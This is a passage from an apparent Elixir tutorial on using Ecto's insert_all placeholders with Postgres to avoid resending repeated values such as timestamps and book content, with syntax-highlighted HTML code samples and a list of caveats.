&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;now: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;placeholders: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We replaced the timestamps with &lt;code&gt;&amp;lbrace;:placeholder, :now&amp;rbrace;&lt;/code&gt; and provided the value for &lt;code&gt;:now&lt;/code&gt; in the &lt;code&gt;placeholders&lt;/code&gt; option. If we run this query, the output shows that Postgres inserts the timestamp wherever we used the &lt;code&gt;:now&lt;/code&gt; placeholder. Have a look at the output:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;INSERT&lt;/span&gt; INTO &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;books&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;inserted_at&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;updated_at&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;VALUES&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;$&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;N&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;2022-10-02 10:46:04&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The Hobbit&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &quot;In a hole...,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &quot;T&lt;span style=&quot;color: #d2a8ff;&quot;&gt;he&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Little&lt;/span&gt; Prince&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Once when I was...&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ecto replaced all occurrences of our &lt;code&gt;:now&lt;/code&gt; placeholder with a link to the first value &lt;code&gt;$1&lt;/code&gt;, which is our timestamp. Instead of sending the same timestamp a thousand times, we only send it once and use it wherever needed. So much bandwidth saved!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Heads up&lt;/strong&gt;: Placeholders are only supported in Postgres, and &lt;strong&gt;not&lt;/strong&gt; in MySQL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Placeholders are particularly useful when we insert a large chunk of data into multiple fields or across multiple entries. For example, imagine that we want to duplicate a book&apos;s content for multiple users. Every user wants a copy of the data for their own editing. Using placeholders, we don&apos;t have to send the book&apos;s content for every copy. We can send it once and reuse it. Here&apos;s how:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;book&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_by&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;title: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The Hobbit&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_ids&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;truncate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:second&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;copies&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;users_ids&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;content: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;inserted_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;content: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;book&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;now: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Copy&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;copies&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;placeholders: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! Ecto will replace our &lt;code&gt;:content&lt;/code&gt; and &lt;code&gt;:now&lt;/code&gt; placeholders wherever necessary. We successfully reduced the size of our database insert to a minimum.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#caveats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;caveats&quot;&gt;&lt;/a&gt;Caveats&lt;/h2&gt;
&lt;p&gt;As mentioned in Ecto&apos;s &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Repo.html#c:insert_all/3-placeholders&quot;&gt;docs&lt;/a&gt;, placeholders have a few limitations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All fields where a placeholder is used must have the same type. For example, you can&apos;t use the same placeholder for an &lt;code&gt;integer&lt;/code&gt; and a &lt;code&gt;text&lt;/code&gt; field. Keep this in mind, especially when inserting different types of DateTime data.&lt;/li&gt;
&lt;li&gt;You can&apos;t use a placeholder nested inside a data structure. The value you provide for the placeholder must always be the entire value you want to insert. Have a look at this example:&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#this-wont-work&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;this-wont-work&quot;&gt;&lt;/a&gt;This &lt;strong&gt;won&apos;t work:&lt;/strong&gt;&lt;/h4&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;details: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;age: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:age&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;details: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;age: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:age&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;age: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;placeholders: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;placeholders&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#instead-do-this&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;instead-do-this&quot;&gt;&lt;/a&gt;Instead, do this:&lt;/h4&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;details: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:placeholder&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:details&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
